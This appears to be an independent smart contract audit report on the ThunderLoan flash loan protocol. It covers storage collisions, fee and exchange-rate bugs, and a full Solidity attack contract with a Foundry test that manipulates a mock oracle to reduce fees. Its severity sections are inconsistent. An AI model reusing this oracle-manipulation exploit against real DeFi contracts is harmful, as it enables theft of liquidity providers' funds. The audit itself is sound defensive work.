Protocol Audit Report

Version 1.0

Kwame4b

January 1, 2024

Protocol Audit Report

Kwame4b

Jan 1, 2024

Prepared by: Kwame4b Lead Auditors: - Kwame4b

Table of Contents

Protocol Summary

This is a smart contract that basically deals with flashloans. Gives flashloan to users then reverts transaction when users defaults payment.

Disclaimer

Kwame4b makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

#– interfaces | #– IFlashLoanReceiver.sol | #– IPoolFactory.sol | #– ITSwapPool.sol | #– IThunderLoan.sol #– protocol | #– AssetToken.sol | #– OracleUpgradeable.sol | #– ThunderLoan.sol #– upgradedProtocol #– ThunderLoanUpgraded.sol

Roles

Liquidator: The whale that put funds into the pool to make it available for others as flashloan. User: The one taking the flashloan Owner: The owner of the protocol who has the power to upgrade the implementation. # Executive Summary

This was a small codebase but i put my basic knowledge to work and this what i found in 24hrs

Issues found

Findings

High

[H-1] Erroneous `Thunderloan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the thunderloan contract, the `exchangeRate` is responsible for calculating the exchange rate between asssetTokens and underlying tokens , it is also responsible for keeping track of how many fees to give to liquidity providers.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7
8        @>    uint256 calculatedFee = getCalculatedFee(token, amount);
9        @>    assetToken.updateExchangeRate(calculatedFee);
10         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
11     }
```

Impact: The bugs are as follows;

1. The `redeem` function is blocked, because the protocol thinks there's more owed tokens than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of concept:

1. Liquidity provider deposits
2. User takes out the flash loan
3. it is now impossible for LP to redeem.

Proof Of Code

Place this into your tests suite

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);


-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] Mixing up variable location causes storage collisions in `Thunderloan::s_flashLoanfee` and `ThunderLoan::s_currentlyFlashloaning`

Description: `Thunderloan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However the upgraded version of this contract has it in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

After the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot

adjust the position of storage variables, and removing storage variables for constant variables, breaks the architecture as well.

Impact: After the upgrade, the `s_flashloanfee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee

Proof of concept:

place this in your test suite.

PoC

```
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade  = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("fee before: ",feeBeforeUpgrade);
        console2.log("fee After: ", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

Recommended Mitigation: IIn removing the storage variable, you can leave it blank so that it won't mess up the storage slots.

MEDIUM

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks.

Description: The TSwap protocol is a constant product formula based AMM (Automated market maker). The price of a token is determined ny how many reserves are on either side of the pool. Becuase of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for prividing liquidity

Proof of concept: ### Working test case

The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls:

- Calls the mock pool contract to set the price (simulating manipulating the price)
- Repay the initial loan
- Re-calls `flashloan`, taking a large loan now with a reduced fee
- Repay second loan

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity 0.8.20;
3
4  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
       ;
5  import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
       SafeERC20.sol";
6  import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/
       IFlashLoanReceiver.sol";
7  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
       ;
8  import { MockTSwapPool } from "./MockTSwapPool.sol";
9  import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
10
11 contract AttackFlashLoanReceiver {
12     error AttackFlashLoanReceiver__onlyOwner();
13     error AttackFlashLoanReceiver__onlyThunderLoan();
14
15     using SafeERC20 for IERC20;
16
17     address s_owner;
18     address s_thunderLoan;
19
20     uint256 s_balanceDuringFlashLoan;
21     uint256 s_balanceAfterFlashLoan;
22
23     uint256 public attackAmount = 1e20;
24     uint256 public attackFee1;
25     uint256 public attackFee2;
26     address tSwapPool;
27     IERC20 tokenA;
28
29     constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA
           ) {
30         s_owner = msg.sender;
31         s_thunderLoan = thunderLoan;
32         s_balanceDuringFlashLoan = 0;
33         tSwapPool = _tSwapPool;
34         tokenA = _tokenA;
35     }
36
37     function executeOperation(
```

```
38          address token,
39          uint256 amount,
40          uint256 fee,
41          address initiator,
42          bytes calldata params
43      )
44          external
45          returns (bool)
46      {
47          s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
                ));
48
49          // check if it is the first time through the reentrancy
50          bool isFirst = abi.decode(params, (bool));
51
52          if (isFirst) {
53              // Manipulate the price
54              MockTSwapPool(tSwapPool).setPrice(1e15);
55              // repay the initial, small loan
56              IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6);
57              IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 +
                    attackFee1);
58              ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA,
                     attackAmount, abi.encode(false));
59              attackFee1 = fee;
60              return true;
61          } else {
62              attackFee2 = fee;
63              // simulate withdrawing the funds from the price pool
64             //MockTSwapPool(tSwapPool).setPrice(1e18);
65              // repay the second, large low fee loan
66              IERC20(token).approve(s_thunderLoan, attackAmount +
                    attackFee2);
67              IThunderLoan(s_thunderLoan).repay(address(tokenA),
                    attackAmount + attackFee2);
68              return true;
69          }
70      }
71
72      function getbalanceDuring() external view returns (uint256) {
73          return s_balanceDuringFlashLoan;
74      }
75
76      function getBalanceAfter() external view returns (uint256) {
77          return s_balanceAfterFlashLoan;
78      }
79  }
```

The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack.

```
function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits {
    uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price();
    console.log("price before: ", price);
    // borrow a large amount to perform the price oracle manipulation
    uint256 amountToBorrow = 1e6;
    bool isFirstCall = true;
    bytes memory params = abi.encode(isFirstCall);

    uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount());

    // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees
    // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee
    tokenA.mint(address(attackFlashLoanReceiver), AMOUNT);

    vm.startPrank(user);
    thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params);
    vm.stopPrank();
    assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2());
    uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price();
    console.log("price after: ", priceAfter);

    console.log("expectedSecondFee: ", expectedSecondFee);
    console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2());
    console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1());
}
```

```
$ forge test --mt test_poc_smallFeeReentrancy -vvvv

// output
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] test_poc_smallFeeReentrancy() (gas: 1162442)
Logs:
  price before:  1000000000000000000
  price after:  1000000000000000
  expectedSecondFee:  300000000000000000
  attackFee2:  300000000000000
  attackFee1:  3000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms
```

Since the test passed, the fee has been successfully reduced due to price oracle manipulation.

Recommended Mitigation: Consider using a different price oracle mechanism, like a chainlink price feed with a uniswap Twap fallback oracle.

[H-3] Fees are calculated in the wrong unit at `Thunderloan::getCalculatedFee` function

Description: This function calculates the Fees in a wrong unit resulting in a wrong fee charged.

```
1
2     function getCalculatedFee(IERC20 token, uint256 amount) public view
          returns (uint256 fee) {
3         //slither-disable-next-line divide-before-multiply
4
5 @>        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
      address(token))) / s_feePrecision;
6         //slither-disable-next-line divide-before-multiply
7         fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
8     }
```

Impact: This can make the user pay more if the value of wETh goes higher

Recommended Mitigation: Check the unitin the stated function.

Medium

No mediums

Low

[L-1] Initializers used in the `ThunderLoan:: initialize` can be front run

Description:

this is the initializer function that can be frontrun. That is if we deploy this function someone else can initialize it resulting in a front run.

```
1     function initialize(address tswapAddress) external initializer {
2         __Ownable_init(msg.sender);
3         __UUPSUpgradeable_init();
4         __Oracle_init(tswapAddress);
5         s_feePrecision = 1e18;
6         s_flashLoanFee = 3e15; // 0.3% ETH fee
7     }
```

[L-2] The Exchange Rate should not be updated in the `ThunderLoan::deposit` function

Description: This breaks the protocol functionality and even causes the protocol to calculate wrong exchange rates resulting in wrong fees.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7
8          // @audit we shouldnt be updating the exchange rate here
9          // uint256 calculatedFee = getCalculatedFee(token, amount);
10 -        assetToken.updateExchangeRate(calculatedFee);
11         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
12     }
```

Recommended Mitigation:

Remove the shown line above

[L-3] Whenever there is an update in price `ThunderLoan::updateFlashLoanFee` does not emit an event to notify there has been an update.

Description: `ThunderLoan::updateFlashLoanFee` updates the flashloan fee but does not emit any event to notify this might cause problems off chain

Recommended Mitigation:

add an Emit event to this function to notify that there has been an update.

Informational

[I-1] No natspec for `ThunderLoans::deposit` function

Description: It is important to include the natspec to this function so we can know the developer & the company's intent to produce good reviews

[I-2] s_feePrecision and s_flashLoanFee should be immutable variables since there is no intent of it changing

Description: The following variables should be immutable or constant to save gas

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

[I-3] Too many storage variables in `AssetToken::updateExchangeRate`

Description: Too many storage variables will result in higher gas fees these variables could to changed to memory to save more gas.

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
        uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee
            ) / totalSupply();

        if (newExchangeRate <= s_exchangeRate) {
            revert AssetToken__ExhangeRateCanOnlyIncrease(
                s_exchangeRate, newExchangeRate);
        }
        s_exchangeRate = newExchangeRate;
        emit ExchangeRateUpdated(s_exchangeRate);
    }
```

[I-4] the `IThunderloan` contract should be implemented by the thunderloan contract

[I-5] Unused imports at `IFlashLoanReceiver` contract

Description: please remove unused imports to keep code clean and save gas

Gas

No gas